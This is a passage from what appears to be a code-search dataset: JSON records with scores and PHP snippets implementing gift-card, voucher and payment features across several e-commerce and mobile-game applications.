\"eCrypted:UJ7LA338ghDzsnIWl28ZijNI1bakRhxDvh7incSpj+M2J1oPPRwEfInDL0bz57VFVoePw4e46AB0ev2MvTD0ioq+uFebjrqkAn+x0I92LwuCSTaYygZ+MtczEH5ajM3PigdPo7tOQ8/4efdkwQotrK8r2FJY5gMIF1rlD+PszClPJnhz+LhX70Eo/9sTK8fzk1T1xB492+4cgg8edigTKhiQCfM6rClnHJMFJpUVEs0a4JzRx4yTisu269/l66HJQDGmwzdruXylXfYbYTpzT2a+L6Fe2TzQRZHFBXXf6rUsn4EfxnMnZB+3DXhtbvfAVWBY1ykvTKf44KwehMhhYg==\";\n $userCards->last_digit = 1111;\n $userCards->card_name = 'John';\n $userCards->expiry_month = rand(10, 12);\n $userCards->expiry_year = rand(19, 25);\n $userCards->cvv = 'eCrypted:V6jztFkWLdfNfP4KS5J46X8jUGJk/vls2DHSpBwsgTCvhzJGIKK9z/NHkdWrGDd9KGVxpZ4BQhunVrwF8oTVtSELhDYi5MN/Sxuxtlz29bkz1v2dV0Ih2ZF/60l0tsCg0iRfVsN/XAqj4zUaddMMxvV8L1//3Qfi7pU+YN1srlCH2Da4Iz7yrA3rR4dDs8Gl3Wt41ROnVYDzUJf8cTYOlJJCcNjrP0VUlkWYeC15HbatjRoRKaj5qDdiKSNsHFEZVUImCRtECaoCJtEvZpadRzns56mpghqUzeLPVbHr+jz4sacR6YJWlrf38txk50L5KrT9bg7rianU0XLvNQ8QAA==';\n $userCards->card_type = 'VISA';\n $userCards->timestamps = false;\n $userCards->is_default = 1;\n $userCards->save();\n return true;\n } else {\n $res = (new StoresApiController())->addCard($req);\n return $res['status'] ? \"Default Card Added successfully.\" : \"Error occurred while adding card\";\n }//..... end if-else() .....//\n }", "title": "" }, { "docid": "8a24eb9065387bdd082e2cd5af83b664", "score": "0.5712645", "text": "public function opengiftfinishAction()\n {\n $id = $this->getParam('CF_id');\n $giftId = $this->getParam('CF_gift_id');\n $type = $this->getParam('CF_type');\n\n if (1 == $type) {\n //gift\n require_once 'Mbll/Kitchen/Cache.php';\n $mbllKitchenCache = new Mbll_Kitchen_Cache();\n $giftInfo = $mbllKitchenCache->getGift($giftId);\n $name = $giftInfo['name'];\n } else if (2 == $type) {\n //levelup gift\n $name = \"ごほうびギフト\";\n } else if (3 == $type) {\n //visit gift\n $name = \"デイリーギフト\";\n } else if (4 == $type) {\n //visit gift\n $name = \"ともだちギフト\";\n } else if (5 == $type) {\r\n //visit gift\r\n $name = \"ごほうびギフト\";\r\n }\n\n require_once 'Mbll/Kitchen/Gift.php';\n $mbllGift = new Mbll_Kitchen_Gift();\n\n //check send gift\n $gift = $mbllGift->getSendGift($id);\n\n if ($gift) {\n $sendUid = $gift['uid'];\n $result = $mbllGift->openGift($gift);\n\n if ($sendUid) {\n require_once 'Mdal/Kitchen/User.php';\n $mdalUser = Mdal_Kitchen_User::getDefaultInstance();\n $sendUserInfo = $mdalUser->getUser($sendUid);\n\n require_once 'Bll/User.php';\n Bll_User::appendPerson($sendUserInfo, 'uid');\n }\n\n //get total recipe count\n require_once 'Mbll/Kitchen/Restaurant.php';\n $mbllKitchenRestaurant = new Mbll_Kitchen_Restaurant();\n\n $genreList = $mbllKitchenRestaurant->getGenreList();\n $totalRecipeCount = 0;\n foreach ($genreList as $genre) {\n $totalRecipeCount += $genre['recipe_count'];\n }\n $this->view->totalRecipeCount = $totalRecipeCount;\n\n //genre of owner's active restaurant\n require_once 'Mdal/Kitchen/Restaurant.php';\n $mdalRes = Mdal_Kitchen_Restaurant::getDefaultInstance();\n $ownerRes = $mdalRes->getActiveRestaurant($this->_user->getId());\n $ownerGenreId = $ownerRes['genre'];\n\n $hasGift = $mbllGift->getMyGiftCount($this->_user->getId());\n\n $this->view->result = $result;\n $this->view->sendUserInfo = $sendUserInfo;\n $this->view->id = $id;\n $this->view->sendUid = $sendUid;\n $this->view->name = $name;\n $this->view->ownerGenreId = $ownerGenreId;\n $this->view->hasGift = $hasGift;\n }\n else {\n $this->_redirect($this->_baseUrl . '/mobile/error/error');\n }\n $this->view->osUID = $this->_USER_ID;\n\n //zhaoxh20100206 activity 10 11 16\n require_once 'Mbll/Kitchen/Activity.php';\n if ($gift['type'] == 1) {\n \trequire_once 'Bll/User.php';\n\t $rowProfile = array('uid' => $gift['uid']);\n\t Bll_User::appendPerson($rowProfile, 'uid');\n \t$activity = Mbll_Kitchen_Activity::getActivity(16, $rowProfile['displayName'], $gift['picture']);\n }\n else if ($gift['type'] == 2) {\n \t$activity = Mbll_Kitchen_Activity::getActivity(11, 'levelup', 'etc/03.gif');\n }\n else if ($gift['type'] == 3) {\n \t$activity = Mbll_Kitchen_Activity::getActivity(10, 'daily', 'etc/01.gif');\n }\n else if ($gift['type'] == 4) {\n }\r\n \telse if ($gift['type'] == 5) {\r\n }\n else {\n \t$this->_redirect($this->_baseUrl . '/mobile/error/error');\n }\n\n $aryActivity = explode('|', $activity);\n\n require_once 'Bll/Restful.php';\n $restful = Bll_Restful::getInstance($this->_USER_ID, $this->_APP_ID);\n $restful->createActivityWithPic(array('title' => $aryActivity[0]), $aryActivity[1], 'image/gif');\n\n //xial 2010-04-15 : gift開封数\n try {\n $mdalKitchenAccess = Mdal_Kitchen_Access::getDefaultInstance();\n $mdalKitchenAccess->insertUu(array('type' => 14, 'create_time' => time()));\n }\n catch (Exception $e){\n }\n\n $this->render();\n }", "title": "" }, { "docid": "e2f7100568e64d9f6205fbaf23fb3a39", "score": "0.57019395", "text": "private function _purchaseGiftClosure(\n \\Pley\\Payment\\PaymentManagerInterface $paymentManager, \n \\Pley\\Entity\\Gift\\Gift $gift, \n \\Pley\\Entity\\Subscription\\Subscription $subscription,\n \\Pley\\Entity\\Gift\\GiftPrice $giftPrice, \n \\Pley\\Payment\\Method\\CreditCard $card)\n {\n $this->_dbManager->checkActiveTransaction(__METHOD__);\n \n // Adding a gift with a new token (Done in a loop in case a duplicate token is somehow generated\n // we can retry with a different token)\n do {\n $token = \\Pley\\Util\\Token::base36();\n $gift->setToken($token);\n $isGiftAdded = false;\n \n try {\n $this->_giftDao->save($gift);\n $isGiftAdded = true;\n } catch (\\PDOException $ex) {\n // If the PDO exception is not that of a duplicate entry, then propagate the error\n // otherwise we collided on the Token so we need to try a different token value\n if ($ex->getCode() != 23000) { // Duplicate entry code\n throw $ex;\n }\n }\n } while (!$isGiftAdded);\n \n $description = sprintf('%s Gift [%s -> %s]', $subscription->getName(), $gift->getFromEmail(), $gift->getToEmail());\n $metadata = [\n 'giftId' => $gift->getId(),\n 'token' => $gift->getToken(),\n 'subscriptionId' => $subscription->getId(),\n 'subscriptionName' => $subscription->getName(),\n 'fromEmail' => $gift->getFromEmail(),\n 'fromName' => $gift->getFromFirstName() . ' ' . $gift->getFromLastName(),\n 'toEmail' => $gift->getToEmail(),\n 'toName' => $gift->getToFirstName() . ' ' . $gift->getToLastName(),\n ];\n \n // Performing the charge\n $transaction = $paymentManager->singleCharge($card, $giftPrice->getPriceTotal(), $description, $metadata);\n \n // Updating the gift with the vendor transaction data\n $gift->setVPaymentTransaction($transaction->getVendorSystemId(), $transaction->getVendorId());\n $this->_giftDao->save($gift);\n \n return $gift->getToken();\n }", "title": "" }, { "docid": "1cd617bd9de70c50a42bb4a037eeb1ab", "score": "0.5682695", "text": "public function gift_create(Request $request)\n {\n \t$validator = validator($request->all(),\n \t\t\t[\n \t\t\t\t\t'name'=> 'required|string',\n \t\t\t\t\t'price'=>'required|numeric',\n \t\t\t\t\t'intro'=>'required|string',\n \t\t\t\t\t'content2'=>'required|string'\n \t\t\t]\n \t);\n \tif($validator->fails())\n \t{\n \t\treturn back()->withErrors($validator)->withInput();\n \t}\n \n \t//最多只允许五个轮播图\n \t$num = DB::table('gift')->where('company_id',company_id())->first();\n \tif($num)\n \t{\n \t\treturn back()->with('alert-danger','大礼包已经创建,请对其进行修改');\n \t}\n\n \t//存入数据库\n \t$data = ['name'=>$request->name,'price'=>$request->price,'company_id'=>company_id(),'introduce'=>$request->intro,'created_at'=>date('Y-m-d H:i:s',time()),'detail'=>$request->content2];\n \t$add = DB::table('gift')->insert($data);\n \tif($add)\n \t{\n \t\treturn back()->with('alert-success','成功');\n \t}\n \treturn back()->with('alert-danger','服务器繁忙');\n }", "title": "" }, { "docid": "9bfa8c77ce13a03430cb1645f9e42289", "score": "0.5675839", "text": "public function withdrawal_payment()\n {\n $gift_id = $this->input->post('gift_id');\n $where['id'] = $gift_id;\n $withdrawcheck = $this->Gift_model->getAnyData($where);\n if($withdrawcheck[0]->withdraw_status == 0)\n {\n //Check if Sent transaction is settled or not\n $amount = $withdrawcheck[0]->amount; \n $recipient_id = $withdrawcheck[0]->recipient_id; \n $from_where['id']= $withdrawcheck[0]->from_id;\n $from_data = $this->User_model->getAnyData($from_where);\n $from_synapsefy_user_id = $from_data[0]->synapsefy_user_id;\n $from_node_id = $withdrawcheck[0]->from_node_id;\n\n //$from_synapsefy_user_id = \"5c8900e55ac648006672551c\";\n //$from_node_id = \"5c89013cd23e5f45c2c33ef8\";\n\n /*Fetch transaction_id*/\n $where_trans['gift_id'] = $gift_id;\n $transaction_data = $this->Transactions_model->getAnyData($where_trans);\n $transaction_id = $transaction_data[0]->transaction_id;\n\n //$transaction_id = \"5c8a34dfaf7f75259f9298ef\";\n\n $options = synapsefyClientDetails();\n //print_r($options);\n //$user_id = USER_ID\n $client = new Client($options); \n $client->client->user_id = $from_synapsefy_user_id;\n $user = $client->user->get($from_synapsefy_user_id);\n $refresh_payload = array('refresh_token' => $user['refresh_token']);\n\n $refresh_response = $client->user->refresh($refresh_payload);\n //print_r($client); die;\n $tg = $client->trans->get($from_node_id, $transaction_id);\n $count_transaction = count($tg['trans']);\n $transaction_status = \"\";\n for($i=0;$i<$count_transaction; $i++)\n {\n if($tg['trans'][$i]['_id'] == $transaction_id)\n {\n $transaction_status = $tg['trans'][$i]['recent_status']['status'];\n }\n }\n if($transaction_status == \"SETTLED\")\n {\n //Withdraw Funds from Custody account to B's account\n $this->withdraw_fund($recipient_id,$gift_id,$amount);\n }\n else\n {\n $response['status'] = 0;\n $response['message'] = 'Your gift funds are on the way. It may take 3-5 business days for funds to appear in your bank account.'; \n echo json_encode($response);\n }\n }\n else\n {\n $response['status'] = 0;\n $response['message'] = 'Gift already withdrawn'; \n echo json_encode($response); \n }\n \n }", "title": "" }, { "docid": "34432186ac9abeba071e15daa200afbc", "score": "0.56728137", "text": "function woocommerce_ajax_apply_giftcard($giftcard_code)\r\n {\r\n\tglobal $wpdb;\r\n\tif ( ! empty( $_POST['giftcard_code'] ) ) \r\n\t{\r\n\t$giftcard_number = sanitize_text_field( $_POST['giftcard_code'] );\r\n if(wpr_get_giftcard_balance( $giftcard_number )!='Invalid')\r\n {\r\n\r\n\t\tif(check_card_number_exist(WC()->session->giftcard_post,$giftcard_number)!='true') \r\n\t\t{\r\n \t\tif( wpr_get_giftcard_balance( $giftcard_number ) > 0 ) \r\n\t\t\t{\r\n\t\t wpr_get_giftcard_balance( $giftcard_number );\r\n\t\t wpr_set_session_data(WC()->session->giftcard_post,$giftcard_number);\r\n\t\t\t wc_add_notice( __( 'Gift card applied successfully.', 'rpgiftcards' ), 'success' );\r\n\t\t\t} \r\n\t\t\telse \r\n\t\t\t{\r\n\t\t\twc_add_notice( __( 'Gift Card does not have a balance!', 'rpgiftcards' ), 'error' );\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n else\r\n\t\t{\t\t\t\r\n\t\t\t\r\n\t\t\twc_add_notice( __( 'Gift Card already in the cart!', 'rpgiftcards' ), 'error' ); // You already have a gift card in the cart\r\n\t\t}\r\n}\r\nelse\r\n{\r\n\twc_add_notice( __( 'Gift Card Number is Invalid !', 'rpgiftcards' ), 'error' ); // You already have a gift card in the cart\r\n}\r\n\t\twc_print_notices();\r\n\r\n\t}\r\n}", "title": "" }, { "docid": "f6431046d9da14d44cd1c6410aae8b6b", "score": "0.5671465", "text": "public function store() {\n // Authorization Check\n if (!g::has($this->controllerTitle . ' - Create'))\n return g::back();\n //\n $input = Input::all(); // except('xxx'); // only('xxx');\n $input['customer_id'] = Auth::user()->customer->id; \n $input['qr_code'] = $this->generateQRcode();\n //\n $gvp = GiftVouchersParameter::find($input['gift_vouchers_parameters_id']);\n //\n// echo '<pre>';\n// $customer = Auth::user()->customer;\n// dd($gvp);\n// dd($input);\n// dd($customer->id);\n// dd($customer);\n// dd($customer->getName());\n //\n $rules = array(\n 'qr_code' => 'required|numeric|unique:giftvoucher',\n 'voucher_value' => 'required|numeric|between:' . $gvp->MinVal . ',' . $gvp->MaxVal,\n 'delivery_date' => 'date_format:d/m/Y',\n 'recipient_email' => 'required|email',\n );\n\n $validation = Validator::make($input, $rules);\n //\n if (!$validation->passes()) {\n return Redirect::route($this->route . '.create', array($input['gift_vouchers_parameters_id']))\n ->withInput()\n ->withErrors($validation)\n ->with('message', 'There were validation errors.'); //, array('user' => 1)\n }\n // Convert local time to UTC time in order to save it in DB\n $input['delivery_date'] = g::utcDateTime($input['delivery_date'] . ' 00:00:00', 'd/m/Y H:i:s');\n $input['expiry_date'] = $input['delivery_date']->copy();\n switch ($gvp->ValidForUnits) {\n case 'd':\n $input['expiry_date']->addDays($gvp->ValidFor);\n break;\n case 'w':\n $input['expiry_date']->addWeeks($gvp->ValidFor);\n break;\n case 'm':\n $input['expiry_date']->addMonths($gvp->ValidFor);\n break;\n default:\n } // switch\n // -1 second\n $input['expiry_date'] = $input['expiry_date']->subSeconds(1); // toDateTimeString();\n $input['status'] = 1;\n $input['voucher_balance'] = $input['voucher_value'];\n //\n // --------------------------------------- End of Gathering Voucher Data\n //\n // Add to Cart =========================================================\n Cart::add($input['qr_code'], $gvp->Title, 1, $input['voucher_value'], $input);\n //\n return Redirect::route('Cart.AddedToCart')->with('message', 'Voucher added to Cart.');\n //\n\n dd();\n //\n GiftVoucher::create($input);\n //\n /*\n echo $gvp->merchant->business_name;\n echo $customer->name;\n dd($input);\n */\n\n // Send Data for email\n $data = array(\n 'qr_code' => $input['qr_code'],\n 'delivery_date' => $input['delivery_date'],\n 'expiry_date' => $input['expiry_date'],\n 'recipient_email' => $input['recipient_email'],\n 'voucher_value' => $input['voucher_value'],\n 'merchant_business_name' => $gvp->merchant->business_name,\n 'merchant_business_address1' => $gvp->merchant->business_address1,\n 'merchant_business_phone' => $gvp->merchant->business_phone,\n 'merchant_business_website' => $gvp->merchant->business_website,\n 'customer_name' => $customer->getName(),\n );\n // Send Mail\n //return View::make($this->route.'.mail')->with($data);\n\n Mail::send($this->route . '.mail', $data, function($message) use ($data) {\n //dd($data);\n $message->to($data['recipient_email'], $data['customer_name'])->subject('Voucher Purchased');\n //$message->attach('voucher/qrcodepng/'. $data['qr_code'] .'.png');\n });\n\n\n return Redirect::route($this->route . '.index');\n }", "title": "" }, { "docid": "6faa75427a97c0a71b7a2cd999ffd5ec", "score": "0.5669042", "text": "function post_card($name, $due)\n{\n global $client, $clogs;\n return $client->api(\"cards\")->create([\n 'idList' => $clogs->getId(),\n 'name' => $name,\n 'due' => $due,\n 'pos' => 'bottom'\n ]);\n}", "title": "" }, { "docid": "62e09437a94a6a70abc2b5a2a1fe0ea6", "score": "0.56671333", "text": "function generate_code($gcp_id=0) {\n\t\t$prefix = \"G\";\n\t\t$gcp_prefix = parse_str($gcp_id);\n\t\t$gcp_prefix = str_repeat(\"0\", (3-strlen($gcp_id))). $gcp_id;\n\t\t$prefix = $prefix.$gcp_prefix;\n\n\t\t$digit = 9; //4gc+9code+2pin+1luhn\n\n\t\t// Get latest gift card\n\t\t$this->db->like('gc_code' , $prefix);\n\t\t$this->db->order_by('gc_code' , 'DESC');\n\t\t$this->db->limit(1);\n\t\t$res = $this->db->get('gift_card');\n\t\t$last_gift_card = $res->row_array();\n\n\t\t$pin = rand(10,99);\n\n\t\tif ( sizeof($last_gift_card) > 0) {\n\t\t\t$code = $last_gift_card['gc_code'];\n\t\t\t$current = substr($code , strlen($prefix) , (strlen($code)-strlen($prefix) - 3 /*-luhn+pin digit*/ ));\n\t\t\t$next = $current +1;\n\t\t\t$next = str_repeat(\"0\" , ( $digit - strlen($next) ) ) . $next;\n\t\t\t$next_and_pin = $next.$pin;\n\t\t\t$luhn = generate_luhn($next_and_pin, FALSE);\n\t\t\t$next_code = $prefix.$next_and_pin.$luhn;\n\t\t\t//print \"-$code-$next-$next_code \";\n\t\t} else {\n\t\t\t$next = str_repeat(\"0\" , ($digit));\n\t\t\t$next_and_pin = $next.$pin;\n\t\t\t$luhn = generate_luhn($next_and_pin, FALSE);\n\t\t\t$next_code = $prefix.$next_and_pin.$luhn;\n\t\t}\n\t\treturn $next_code;\n\n\t}", "title": "" }, { "docid": "51c61b4a4249bdd2e754d7f3b1526f06", "score": "0.5663821", "text": "public function buyitembymixipointfinishAction()\n {\n ob_end_clean();\n ob_start();\n ini_set('default_charset', null);\n header('HTTP/1.1 200 OK');\n header('Status: 200');\n header('Content-Type: text/plain');\n\n //check if this request is sended by mixi\n require_once 'Bll/Restful.php';\n $restful = Bll_Restful::getInstance($this->_user->getId(), $this->_APP_ID);\n $sig = $restful->checkSignature();\n\n if (!$sig) {\n echo 'CANCEL';\n exit(0);\n }\n\n $point_code = $this->getParam('point_code');\n //status = 20, cancel, status = 10 buy submit\n $pay_status = $this->getParam('status', 20);\n $updated = $this->getParam('updated');\n\n if (empty($point_code) || $pay_status == 20) {\n require_once 'Dal/Dynamite/User.php';\n $dalUser = Dal_Dynamite_User::getDefaultInstance();\n $dalUser->updatePaymentStatus($point_code, 2, time());\n\n echo 'OK';\n exit(0);\n }\n\n require_once 'Bll/Dynamite/Item.php';\n $bllItem = new Bll_Dynamite_Item();\n $result = $bllItem->buyItemByMixiPointSubmit($point_code);\n\n echo $result == 1 ? 'OK' : 'CANCEL';\n exit(0);\n }", "title": "" }, { "docid": "1429613456fec5743e62ed0b9464d83e", "score": "0.5658242", "text": "public function testCreateAchCardReserveUsingPost()\n {\n }", "title": "" }, { "docid": "3b05c9343fd3b002ac646d3b0f85d654", "score": "0.5646969", "text": "public function get_request_url( $order) {\n $order = new WC_Order( $order );\n $orderTotal = $order->get_total() * 100;\n $orderID = $order->id;\n // Get admin options\n $merchantID = $this->gateway->merchant_id;\n $access_code = $this->gateway->access_code;\n $md5HashData = $this->gateway->secret_hash;\n $secret_hash = $this->gateway->secret_hash;\n $vpc_ReturnURL = $this->notify_url;\n // Set request URL\n $vpcURL = 'https://migs.mastercard.com.au/vpcpay' . '?';\n $vpc_MerchTxnRef = 'woo-payment';\n $data = array(\n 'vpc_Version' => '1',\n 'vpc_Locale' => 'en',\n\t\t\t 'vpc_Command' => 'pay',\n\t\t\t'vpc_AccessCode' => $access_code,\n\t\t\t'vpc_MerchTxnRef' => $vpc_MerchTxnRef,\n\t\t\t'vpc_Merchant' => $merchantID,\n\t\t\t'vpc_OrderInfo' => 'woo-order_'.$orderID,\n\t\t\t'vpc_Amount' => $orderTotal,\n\t\t\t'vpc_ReturnURL' => $vpc_ReturnURL\n\t\t\t//'vpc_Currency' => get_woocommerce_currency()\n );\n ksort ($data);\n // set a parameter to show the first pair in the URL\n $appendAmp = 0;\n /* foreach($data as $key => $value) {\n\t\t\t if(in_array($key, array('vpc_SecureHash', 'vpc_SecureHashType'))) continue;\n // create the md5 input and URL leaving out any fields that have no value\n if (strlen($value) > 0) {\n // this ensures the first paramter of the URL is preceded by the '?' char\n if ($appendAmp == 0) {\n $vpcURL .= $key . '=' . $value;\n $appendAmp = 1;\n } else {\n $vpcURL .= '&' . $key . \"=\" . $value;\n }\n $md5HashData .= $value;\n }\n } \n // Create the secure hash and append it to the Virtual Payment Client Data if\n // the merchant secret has been provided.\n if (strlen($md5HashData) > 0) {\n //$vpcURL .= \"&vpc_SecureHash=\" . strtoupper(md5($md5HashData));\n $vpcURL .= \"&vpc_SecureHash=\" . strtoupper(hash_hmac('SHA256',$md5HashData,pack('H*',$access_code))).\"&vpc_SecureHashType=SHA256\";\n } */\n\t$sha256 = \"\";\t\n\tksort ( $data );\n\tforeach($data as $key => $value) {\t\n\t\tif ( strlen( $value ) > 0 ) {\n\t\t\tif ( $appendAmp == 0 ) {\n\t\t\t\t$vpcURL .= $key . '=' . $value ;\n\t\t\t\t$appendAmp = 1;\n\t\t\t} else {\n\t\t\t\t$vpcURL .= '&' . $key . \"=\" . $value ;\n\t\t\t}\n\t\t\t$sha256 .= $key .\"=\". $value .\"&\";\n\t\t}\n\t}\n\t$sha256 = rtrim($sha256,\"&\");\n\t$vpcURL .= \"&vpc_SecureHash=\". strtoupper( hash_hmac( 'SHA256', $sha256, pack( \"H*\", $secret_hash ) ) );\n\t$vpcURL .= \"&vpc_SecureHashType=SHA256\";\n\t\t#die($vpcURL);\n return $vpcURL;\n }", "title": "" }, { "docid": "7530842bfd9b117695d37d2ee65a76d3", "score": "0.56452054", "text": "public function store(Request $request)\n {\n $this->validate($request, [\n 'gift_card_id' => 'required',\n 'customer_id' => 'required',\n ]);\n\n $generateGiftCard = new GeneratedGiftCard();\n\n $generateGiftCard->gift_card_id = $request->gift_card_id;\n $generateGiftCard->customer_id = $request->customer_id;\n $generateGiftCard->uuid = Utility::generateUUI();\n $generateGiftCard->sold_by = Auth::user()->id;\n $generateGiftCard->is_paid = 0;\n $generateGiftCard->is_deleted = 0;\n\n $generateGiftCard->save();\n\n return redirect()->route('admin.generate-gift-card.create')->with('success', 'GenerateGiftCard added!');\n }", "title": "" }, { "docid": "2835aad43323e2f4600c9728cc234b66", "score": "0.5641313", "text": "public function buyitemAction()\n {\n $uid = $this->_user->getId();\n $itemId = $this->getParam(\"CF_cid\");\n\n //get item info\n require_once 'Bll/Dynamite/Item.php';\n $bllItem = new Bll_Dynamite_Item();\n $buyItemInfo = $bllItem->getBuyItemInfo($uid, $itemId);\n\n //get user this item count\n $itemCount = $buyItemInfo['itemCount'];\n\n //check change gamemode card\n if ($itemId == 8 || $itemId == 9) {\n if ($itemCount >= 2) {\n $this->_redirect($this->_baseUrl . '/mobile/dynamite/buyitemlimit?CF_cid=' . $itemId);\n }\n }\n\n //check add bomb count card\n require_once 'Dal/Dynamite/User.php';\n $dalUser = Dal_Dynamite_user::getDefaultInstance();\n\n if ($itemId == 60 || $itemId == 61 || $itemId == 62) {\n\n $bombNum = $bllItem->getBombNum($itemId);\n\n $userInfo = $dalUser->getUserMoreInfo($uid);\n\n if ($userInfo['bomb_count'] + $bombNum > 26) {\n $this->_redirect($this->_baseUrl . '/mobile/dynamite/buyitemlimit?CF_cid=' . $itemId);\n }\n }\n\n $itemPrice = $buyItemInfo['itemPrice'];\n $bonus = $buyItemInfo['bonus'];\n\n if ($itemPrice > 0) {\n\n if ($bonus < $itemPrice) {\n $this->view->flag = 'noEnoughMoney';\n }\n else {\n if ($itemId == 9) {\n $buyNum = floor($bonus / $itemPrice) > 2 ? 2 : floor($bonus / $itemPrice);\n }\n else {\n $buyNum = floor($bonus / $itemPrice) > 9 ? 9 : floor($bonus / $itemPrice);\n }\n $this->view->buyNum = $buyNum;\n $this->view->flag = 'twoMethod';\n }\n }\n\n $this->view->selectedItem = $buyItemInfo['selectedItem'];\n $this->view->itemCount = $buyItemInfo['itemCount'];\n $this->view->bonus = number_format($buyItemInfo['bonus']);\n $this->view->price = number_format($buyItemInfo['itemPrice']);\n\n $this->render();\n\n }", "title": "" }, { "docid": "65345306dbd4052b55f3af4e91245ca8", "score": "0.56308013", "text": "public function create_credit_card_charge() {\n\n\t\t$this->create_transaction( self::TRANSACTION_TYPE_PURCHASE );\n\t}", "title": "" }, { "docid": "2836c39ccfb16db24ca993979e91f562", "score": "0.5628553", "text": "function redeem($cardNo, $amtWtip) {\n$amtWtip = $amtWtip/100;\n\n// Format to DD SOAP\n$ddXMLData = \"<soapenv:Envelope xmlns:soapenv=\\\"http://schemas.xmlsoap.org/soap/envelope/\\\" xmlns:gif=\\\"https://www.DigitalDining.com/GiftCertificate/\\\">\n <soapenv:Header/>\n <soapenv:Body>\n <gif:ProcessGiftCertificate_v1>\n <gif:request>\n <gif:Product>EPOS GC</gif:Product>\n <gif:Version>0.1a</gif:Version>\n <gif:SiteID>RP</gif:SiteID>\n <gif:MerchantID>10</gif:MerchantID>\n <gif:RequestID>1</gif:RequestID>\n <gif:RequestType>Redeem</gif:RequestType>\n <gif:CurrencyCode>USD</gif:CurrencyCode>\n <gif:CertificateID>$cardNo</gif:CertificateID>\n <gif:InvoiceID>1</gif:InvoiceID>\n <gif:Amount>$amtWtip</gif:Amount>\n </gif:request>\n </gif:ProcessGiftCertificate_v1>\n </soapenv:Body>\n</soapenv:Envelope>\";\n$URL = \"http://10.46.6.1/DDGCWebService/DDGiftCertificateWebService.asmx?op=ProcessGiftCertificate_v1\";\n$ch = curl_init($URL);\ncurl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: text/xml'));\ncurl_setopt($ch, CURLOPT_POST, 1);\ncurl_setopt($ch, CURLOPT_POSTFIELDS, \"$ddXMLData\");\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n$output = curl_exec($ch);\ncurl_close($ch);\n\n$response = str_replace('https://www.DigitalDining.com/GiftCertificate/', '', $output);\n$xml = simplexml_load_string($response);\n$ret = $xml->xpath('//response');\n$balance = $ret[0]->Balance;\n$balance = number_format((float)$balance,2,'.','');\n$parm1 = $balance*100;\n$date = date(\"Y-m-d\").\"T\".date(\"G:i:sP\");\n$tz = date(\"T\");\n$rand = rand(1, 99999);\n// Format to RPOWER spec\n$amtWtip = $amtWtip*100;\necho \"<?xml version=\\\"1.0\\\"?>\n<XyzzyTalk>\n<XyzzyHeader xyzzy_version=\\'6.10.29.4\\' api_id=\\'CUSCNX\\' api_version=\\'14.5.22.1\\' api_command=\\'CHARGE\\' app_version=\\'14010703\\' date_time=\\'$date\\' tz=\\'$tz\\'/>\n <CCX_RESPONSE>\n <Tran sref=\\'$rand\\'/>\n <Parms parm1=\\'$amtWtip\\'/>\n <Info>\n <Bal dcd=\\'\\$US$balance\\' cd=\\'\\$US$balance\\'/>\n </Info>\n </CCX_RESPONSE>\n</XyzzyTalk>\";\n}", "title": "" }, { "docid": "03b5781289c5f9985dea25bcf75e68c2", "score": "0.56240267", "text": "private function purchaseGiftCard($user_id, $shop_id, $gc_amount_packets) {\n //get entity manger object.\n $em = $this->container->get('doctrine')->getManager();\n $date = new \\DateTime('now');\n \n if (count($gc_amount_packets)) {\n foreach ($gc_amount_packets as $packet_amount) {\n $shop_gift_card = new ShopGiftCards();\n $shop_gift_card->setUserId($user_id);\n $shop_gift_card->setShopId($shop_id);\n $shop_gift_card->setGiftCardAmount($packet_amount);\n $shop_gift_card->setDate($date);\n $shop_gift_card->setIsUsed(0);\n $em->persist($shop_gift_card);\n }\n try {\n $em->flush();\n return true; \n } catch (\\Exception $ex) {\n }\n }\n return true;\n }", "title": "" }, { "docid": "b2b2f6b748eaccc24ce7e21c84fef0e1", "score": "0.5601925", "text": "public function create(Request $request)\n {\n\t$id=$request->id;\n $transact=Transaction::whereReference($id)->first();\n if($transact)\n {\n if($transact->status==0)\n {\n $transact->status=1;\n $transact->save();\n return response()->json([\n \"status\"=>201,\n \"message\"=>\"licence_key verified\",\n\t\t \"licence\"=>$request->id\n ]);\n }\n return response()->json([\n \"status\"=>405,\n \"message\"=>\"licence_key already used\"\n ]);\n\n } \n return response()->json([\n \"status\"=>404,\n \"message\"=>\"licence_key not found\"\n ]);\n\n }", "title": "" }, { "docid": "df3e1e155479d2fcc05bba1523bde43a", "score": "0.56016433", "text": "private function addPurchasePackage($value){\n $this->clearOldResponseData();\n $jwtObj = new jwtGenerator();\n $jwt = json_decode(json_encode($jwtObj->DecodeToken(json_decode($value['token']))),true);\n $vals['user_id'] = $jwt['data']['userid'];\n //print_r( $jwt['data']['userid']) ;\n //echo $value['token'];\n $va = array('user_id' => $vals['user_id'], 'pack_id' => $value['pkg_id'],'payment_id'=>$value['payment_id']);\n // $newAr = [\n // 'user_id' => $vals['user_id'],\n // 'pack_id' => $value['pkg_id']\n // ];\n // print_r($va);\n $query = \"INSERT INTO purchase_table(user_id, pack_id,payment_id)VALUES(?, ?,?)\";\n $result = $this->query_db($query, $va);\n // echo $result;\n $this->db_close();\n //echo $result;\n if($result == 1){\n $response['response'] = \"true\";\n $response['errMessage'] = 'Add Purchased Packages Success';\n return $response;\n }else{\n $response['response'] = \"false\";\n $response['errMessage'] = 'Add Purchase Package failed';\n return $response;\n }\n }", "title": "" }, { "docid": "82f50d5b8384da6da6f416ee126c4939", "score": "0.55977196", "text": "private function new_card_request( $realex_client, $payer_ref, $card_ref, $order, $data = null ) {\n\n\t\t$request = new stdClass();\n\n\t\t$request->merchantid = $this->get_merchant_id();\n\t\t$request->orderid = $this->get_order_number( $order );\n\n\t\t$request->card = new stdClass();\n\t\t$request->card->ref = $card_ref;\n\t\t$request->card->payerref = $payer_ref;\n\t\t$request->card->number = str_replace( array( ' ', '-' ), '', $this->get_post( 'realex_accountNumber', $data ) );\n\t\t$request->card->expdate = $this->get_post( 'realex_expirationMonth', $data ) . substr( $this->get_post( 'realex_expirationYear', $data ), -2 );\n\t\t$request->card->chname = $order->get_formatted_billing_full_name(); // TODO: hmmm, should I be collecting this from the checkout form?\n\t\t$request->card->type = $this->get_post( 'realex_cardType', $data );\n\n\t\tif ( $this->get_post( 'realex_cardType', $data ) == 'SWITCH' ) {\n\t\t\t$request->card->issueno = $this->get_post( 'realex_issueNumber', $data );\n\t\t}\n\n\t\treturn $realex_client->card_new_request( $request );\n\t}", "title": "" }, { "docid": "cf3411b4a3dfb2978a01132396fa9e79", "score": "0.55653626", "text": "function giftcard() {\n\t\tif (! 